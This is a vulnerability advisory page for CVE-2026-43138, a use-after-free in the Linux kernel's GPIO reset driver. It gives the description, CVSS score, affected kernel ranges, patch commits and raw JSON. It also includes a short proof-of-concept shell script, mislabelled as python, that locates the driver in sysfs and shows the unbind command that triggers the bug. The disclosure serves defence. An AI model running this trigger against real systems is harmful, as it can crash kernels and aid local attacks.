Security Vulnerability Report
中文
CVE-2026-43138 CVSS 7.8 HIGH

CVE-2026-43138

Published: 2026-05-06 12:16:31
Last Modified: 2026-05-12 21:11:44
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: reset: gpio: suppress bind attributes in sysfs This is a special device that's created dynamically and is supposed to stay in memory forever. We also currently don't have a devlink between it and the actual reset consumer. Suppress sysfs bind attributes so that user-space can't unbind the device because - as of now - it will cause a use-after-free splat from any user that puts the reset control handle.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < Commit 09d6efc6abd42809956d598906c222ccd1c8ae92
Linux Kernel < Commit 16de4c6a8fe9ff497ca1aba33ef0dbee09f11952
Linux Kernel < Commit 1d7d869f074f98c34fe23f6a56e5f3acc1f95a2b
Linux Kernel < Commit 76801c3dfca0ac6339a23e9615b5f23e25b8644c

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC for CVE-2026-43138: Linux Kernel GPIO Reset UAF # This script attempts to trigger the vulnerability by unbinding the device via sysfs. # Note: Requires a system with the vulnerable driver loaded. # Target path (example, actual path depends on hardware configuration) SYSFS_DRIVER_PATH="/sys/bus/platform/drivers/gpio-reset" if [ -d "$SYSFS_DRIVER_PATH" ]; then echo "[+] Vulnerable driver path found." # List devices currently bound to find a target echo "[*] Searching for bound devices..." ls "$SYSFS_DRIVER_PATH/" # Attempt to unbind. Replace 'TARGET_DEVICE_NAME' with actual device ID. # This action triggers the UAF if the device is still in use. # echo "TARGET_DEVICE_NAME" > "$SYSFS_DRIVER_PATH/unbind" echo "[!] To exploit, find a bound device and write its name to the unbind file." echo "[!] Example: echo 'gpio-reset.0' > $SYSFS_DRIVER_PATH/unbind" else echo "[-] Driver path not found. System may not be vulnerable or hardware differs." fi

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43138", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:31.117", "lastModified": "2026-05-12T21:11:43.943", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nreset: gpio: suppress bind attributes in sysfs\n\nThis is a special device that's created dynamically and is supposed to\nstay in memory forever. We also currently don't have a devlink between\nit and the actual reset consumer. Suppress sysfs bind attributes so that\nuser-space can't unbind the device because - as of now - it will cause a\nuse-after-free splat from any user that puts the reset control handle."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.9", "versionEndExcluding": "6.12.75", "matchCriteriaId": "F8A1C6F6-2847-4C53-ABFC-8F07D96900D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/09d6efc6abd42809956d598906c222ccd1c8ae92", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/16de4c6a8fe9ff497ca1aba33ef0dbee09f11952", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/1d7d869f074f98c34fe23f6a56e5f3acc1f95a2b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/76801c3dfca0ac6339a23e9615b5f23e25b8644c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}